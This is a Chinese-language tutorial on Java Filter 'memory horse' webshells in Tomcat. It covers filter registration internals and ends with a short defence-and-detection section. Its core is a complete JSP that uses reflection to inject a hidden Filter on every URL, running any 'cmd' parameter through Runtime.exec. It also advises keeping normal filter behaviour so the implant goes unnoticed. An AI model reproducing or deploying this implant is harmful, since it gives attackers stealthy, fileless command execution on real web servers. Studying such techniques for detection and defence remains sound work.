java内存马连续剧——Filter内存马
字数 2489 2025-08-10 16:34:36
Java Filter内存马深入分析与实践指南
1. 基础知识准备
1.1 内存马概念
内存马是一种无文件木马,不落地存储,通常存在于进程、内存或Java虚拟机中。其特点包括:
- 隐蔽性强,难以通过常规文件扫描发现
- 难以排查和删除
- 重启后失效(存在于内存中)
1.2 Java Web核心组件
学习Filter内存马前需要掌握以下Java Web核心知识:
- JSP:Java Server Pages,动态网页技术标准
- Servlet:Java Web的核心组件,处理HTTP请求
- Filter:过滤器,可拦截请求和响应
- Listener:监听器,监听Web应用中的事件
1.3 Tomcat架构
理解Tomcat的基本架构对于分析内存马至关重要:
- Connector:处理网络连接
- Container:包含多个层次:
- Engine:整个Servlet引擎
- Host:虚拟主机
- Context:Web应用上下文
- Wrapper:Servlet包装器
2. Filter内存马原理
2.1 基本概念
Filter内存马是将恶意代码注入到过滤器中,当过滤器拦截Servlet请求时执行恶意代码。其工作流程:
- 注册恶意Filter
- 配置URL映射
- 请求匹配时执行恶意代码
2.2 与传统WebShell的区别
| 特性 | 传统WebShell | Filter内存马 |
|---|---|---|
| 存储方式 | 文件系统 | 内存 |
| 检测难度 | 较易 | 困难 |
| 持久性 | 持久 | 重启失效 |
| 执行方式 | 直接访问 | 拦截请求 |
3. 环境搭建
3.1 项目配置
- 创建Servlet Web项目
- 添加Tomcat依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.38</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-websocket</artifactId>
<version>9.0.38</version>
</dependency>
3.2 恶意Filter示例
public class MyFilter implements Filter {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
throws IOException, ServletException {
System.out.println("执行过滤功能");
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest, servletResponse);
// 恶意代码:执行cmd参数
System.out.println(servletRequest.getParameter("cmd"));
Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));
}
}
3.3 web.xml配置
<filter>
<filter-name>MyFilter</filter-name>
<filter-class>com.example.memoryhorse.MyFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>MyFilter</filter-name>
<url-pattern>/MyFilter</url-pattern>
</filter-mapping>
4. Filter执行流程深度分析
4.1 FilterChain工作机制
- 请求到达Tomcat后,会创建FilterChain
- FilterChain包含多个Filter和最终的Servlet
- 按顺序调用每个Filter的doFilter方法
- 最后调用Servlet的service方法
4.2 关键类分析
-
StandardWrapperValve:Tomcat中处理请求的阀门
- 调用createFilterChain创建过滤器链
- 调用doFilter执行过滤器链
-
ApplicationFilterChain:过滤器链实现类
- 包含filters数组和pos计数器
- internalDoFilter方法实现过滤器遍历
-
StandardContext:Tomcat中表示Web应用的上下文
- 存储FilterDefs、FilterMaps和FilterConfigs
4.3 Filter注册流程
-
FilterDef:定义过滤器基本信息
- 包含filterName、filterClass等
- 通过StandardContext.addFilterDef添加
-
FilterMap:定义过滤器映射
- 包含URL模式和过滤器名称
- 通过StandardContext.addFilterMapBefore添加
-
ApplicationFilterConfig:过滤器配置
- 包含FilterDef和实际Filter实例
- 存储在StandardContext的filterConfigs Map中
5. 动态注入Filter内存马
5.1 攻击思路
- 获取StandardContext对象
- 创建恶意Filter、FilterDef和FilterMap
- 将FilterDef添加到StandardContext
- 将FilterMap添加到StandardContext
- 创建ApplicationFilterConfig并存入filterConfigs
5.2 完整JSP实现
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%
// 1. 获取ServletContext
ServletContext servletContext = request.getServletContext();
// 2. 获取ApplicationContextFacade
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
// 3. 反射获取ApplicationContext
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
// 4. 反射获取StandardContext
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
// 5. 获取filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "MaliciousFilter";
if (hashMap.get(filterName)==null){
// 6. 创建恶意Filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest, servletResponse);
// 恶意代码执行点
String cmd = servletRequest.getParameter("cmd");
if(cmd != null){
Runtime.getRuntime().exec(cmd);
}
}
@Override
public void destroy() {}
};
// 7. 创建FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 8. 创建FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*"); // 拦截所有请求
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
// 9. 创建ApplicationFilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
// 10. 注入filterConfigs
hashMap.put(filterName, applicationFilterConfig);
out.println("Filter内存马注入成功!");
}
%>
5.3 注入流程详解
-
获取StandardContext:
- 通过ServletContext → ApplicationContextFacade → ApplicationContext → StandardContext
- 需要多层反射获取
-
创建恶意Filter:
- 实现Filter接口
- 在doFilter方法中插入恶意代码
- 注意保持正常过滤逻辑以避免被发现
-
配置FilterDef:
- 设置filter实例、名称和类名
- 通过StandardContext.addFilterDef注册
-
配置FilterMap:
- 设置URL模式(通常为"/*")
- 设置过滤器名称
- 通过StandardContext.addFilterMapBefore注册
-
创建FilterConfig:
- 使用反射获取ApplicationFilterConfig构造器
- 创建实例并存入filterConfigs
6. 防御与检测
6.1 防御措施
-
输入验证:
- 严格验证上传文件内容
- 禁止上传可执行脚本
-
权限控制:
- 最小权限原则运行Tomcat
- 禁用不必要的Servlet和Filter
-
安全配置:
- 启用Tomcat安全管理器
- 配置严格的Filter映射
6.2 检测方法
-
内存扫描:
- 使用Java Agent技术扫描内存中的Filter
- 检查StandardContext中的filterConfigs
-
行为监控:
- 监控Runtime.exec等危险操作
- 记录异常Filter的执行
-
工具检测:
- 使用Java-memshell-scanner等专业工具
- 定期进行安全扫描
7. 总结
Filter内存马是一种高级的Web攻击技术,利用Tomcat的Filter机制实现无文件攻击。理解其原理需要深入掌握:
- Java Web的核心组件(Servlet/Filter/Listener)
- Tomcat的架构和工作原理
- Filter的注册和执行流程
防御Filter内存马需要从预防、检测和响应多个层面建立防护体系,特别是对内存中异常组件的监控。